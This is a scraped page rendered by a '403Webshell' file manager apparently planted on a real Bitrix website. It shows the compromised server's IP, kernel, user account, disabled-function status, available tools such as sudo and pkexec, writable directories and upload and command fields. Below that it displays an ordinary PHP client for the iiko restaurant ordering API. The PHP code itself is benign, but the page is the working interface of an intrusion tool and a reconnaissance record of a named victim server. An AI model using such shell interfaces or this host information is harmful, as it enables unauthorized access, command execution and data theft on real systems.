403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/grain.iiko/lib/rest/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/grain.iiko/lib/rest/v0.php
<?php

namespace Grain\Iiko\Rest;

use \Bitrix\Main\Localization\Loc;	
use \Bitrix\Main\Web\Json;
use \Bitrix\Main\Application;
use \Bitrix\Main\Loader;
use \Bitrix\Main\Web\Uri;

Loc::loadMessages(__FILE__);

class v0
{
	const apiProtocol = 'https';
	const apiPath = '/api/0';

	public static function query($path,$body,$method='POST',$account)
	{
		$accessToken = self::getAuthHash($account);
		if(!$accessToken['result'])
			return $accessToken;
		$uri = new Uri($path);
		$uri->addParams(array(
			"access_token"=>$accessToken['result'],
		));
		$result = static::_query($method,$uri->getUri(),$body,$account);
		return $result;
	}

	public static function getAuthHash($account)
	{
		$uri = new Uri('/auth/access_token');
		$uri->addParams(array(
			"user_id"=>$account['LOGIN'],
			"user_secret"=>$account['PASSWORD'],
		));	
		return static::_query('GET',$uri->getUri(),false,$account);
	}
	
	public static function _query($method='GET',$path,$body=false,$account=false)
	{
		$method = strtoupper($method);
		$opts = array(
			'method'  => $method,
			'timeout' => 60,
			'ignore_errors'=> true,
		);
		if(is_array($body))
		{
			if($method=='POST')
			{
				$body = Json::encode($body);
				$opts['header'] = "Content-Type: application/json\r\nContent-Length: ".strlen($body)."\r\nAccept: application/json";
				$opts['content'] = $body;
			}
			else
			{
				$uri = new Uri($path);
				$uri->addParams($body);		
				$path = $uri->getUri();
			}
		}
		$context  = stream_context_create(array('http'=>$opts)); // do not use https
		$stream = @fopen(static::apiProtocol.'://'.$account['HOST'].':'.$account['PORT'].static::apiPath.$path, 'r', false, $context);
				
		//var_dump(static::apiProtocol.'://'.$account['HOST'].':'.$account['PORT'].static::apiPath.$path);

		if($stream!==false) 
		{	
			$result = stream_get_contents($stream);
			fclose($stream);
			$error = false;
			try {
				$arRes = Json::decode($result);
			} catch (\Bitrix\Main\SystemException $e) {
				$error = true; //$e->getMessage();
			}
			
			if($error)
			{
				return array('error'=>Loc::getMessage('GRAIN_IIKO_REST_JSON_ERROR'));
			}
			elseif(is_array($arRes) && array_key_exists('httpStatusCode', $arRes) && $arRes['httpStatusCode']!=200) 
			{
				return array('error'=>$arRes['message']);
			}
			else
			{
				return array('result'=>$arRes);
			}
		}
		else 
		{
			$error = error_get_last();
			return array('error'=>$error['message']);//.print_r($error,true);
		}
		
	}
	
	public static function buildIikoOrderBody($params,$restaurantId)
	{
		$order = array (
			'phone' => $params['phone'],
			'isSelfService' => $params['orderServiceType']=='DeliveryByClient'?'true':'false', // self-pickup
			'items' => array(),
			'comment' => $params['comment'],
		);
		if(isset($params['date']))
			$order['date'] = $params['date']->format('Y-m-d\TH:i:s'.(($tz=Option::get('grain.iiko','time_zone'))?$tz:'+00:00'));
		if(is_string($params['orderUuid']) && strlen($params['orderUuid'])>0)
			$order['id'] = $params['orderUuid'];
		
		foreach($params['items'] as $item)
		{
			$newItem = array(
				'id' => $item['id'],
				'name' => $item['name'],
				'amount' => $item['amount'],
				'code' => $item['code'],
				'sum' => $item['sum'],
			);
			if(is_array($item['modifiers']) && count($item['modifiers'])>0)
			{
				$newItem['modifiers'] = array();
				foreach($item['modifiers'] as $modifier)
				{
					$newModifier = array(
						'id' => $modifier['id'],
						'name' => $modifier['name'],
						'code' => $modifier['code'], // added in 3.5.1 to fix error "Fill code for modifier with id = ..."
						'amount' => $modifier['amount'],
					);
					if($modifier['groupId'])
					{
						$newModifier['groupId'] = $modifier['groupId'];
						$newModifier['groupName'] = $modifier['groupName'];
					}
					$newItem['modifiers'][] = $newModifier;
				}
			}
			$order['items'][] = $newItem;
		}
		
		if(is_array($params['discounts']) && count($params['discounts'])>0)
		{
			foreach($params['discounts'] as $discount)
			{
				$order['discountCardTypeId'] = $discount['discountTypeId'];
				$order['discountOrIncreaseSum'] = $discount['sum'];
			}
		}
				
		if(is_array($params['payments']) && count($params['payments'])>0)
		{
			foreach($params['payments'] as $payment)
			{
				$newPayment = array(
					'sum' => $payment['sum'],
					'paymentType' => $payment['paymentType'],
					//'additionalData' => ,
					'isProcessedExternally' => $payment['isProcessedExternally'],
					'isPreliminary' => $payment['isPreliminary'],
					'isExternal' => $payment['isExternal'],
				);
				if(array_key_exists('paymentAdditionalData', $payment))
					$newPayment['additionalData'] = Json::encode(array(
						'searchScope' => strtoupper($payment['paymentAdditionalData']['searchScope']),
						'credential' => $payment['paymentAdditionalData']['credential'],
					));
				$order['paymentItems'][] = $newPayment;
			}
		}
		
		if($params['orderServiceType']=='DeliveryByCourier')
		{
			$order['address'] = array (
				'city' => $params['city'],
				'street' => $params['street'],
				'home' => $params['house'],
				'housing' => $params['building'],
				'apartment' => $params['flat'],
				'entrance' => $params['entrance'],
				'floor' => $params['floor'],
				'doorphone' => $params['doorphone'],
			);
		}
		
		$body = array (
			'organization' => $params['organizationId'],
			'customer' => 
			array (
				//'id' => md5($params['userId']),
				'name' => $params['name'],
				'phone' => $params['phone'],
			),
			'order' => $order,
		);
		
		if(
			Loader::includeModule('grain.iikocard') 
			&& ($params['queryType']=='orderCreate' || $params['queryType']=='orderCheckCreate')
		) { 
			if(array_key_exists('couponCode',$params))
				$body['coupon'] = $params['couponCode']; 
			//if(array_key_exists('marketingCampaignId',$params))
				//$body['applicableManualConditions'] = $params['marketingCampaignId'];
		}

		//$body['isLoyaltyTraceEnabled'] = true;

		if($params['terminalGroupId'])
			$body['deliveryTerminalId'] = $params['terminalGroupId'];

		return $body;
	}
	
	public static function checkAccess($account)
	{
		$connection = @fsockopen($account['HOST'], $account['PORT']);
		if (is_resource($connection))
		{
			fclose($connection);
			return true;
		}
		else
		{
			return false;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit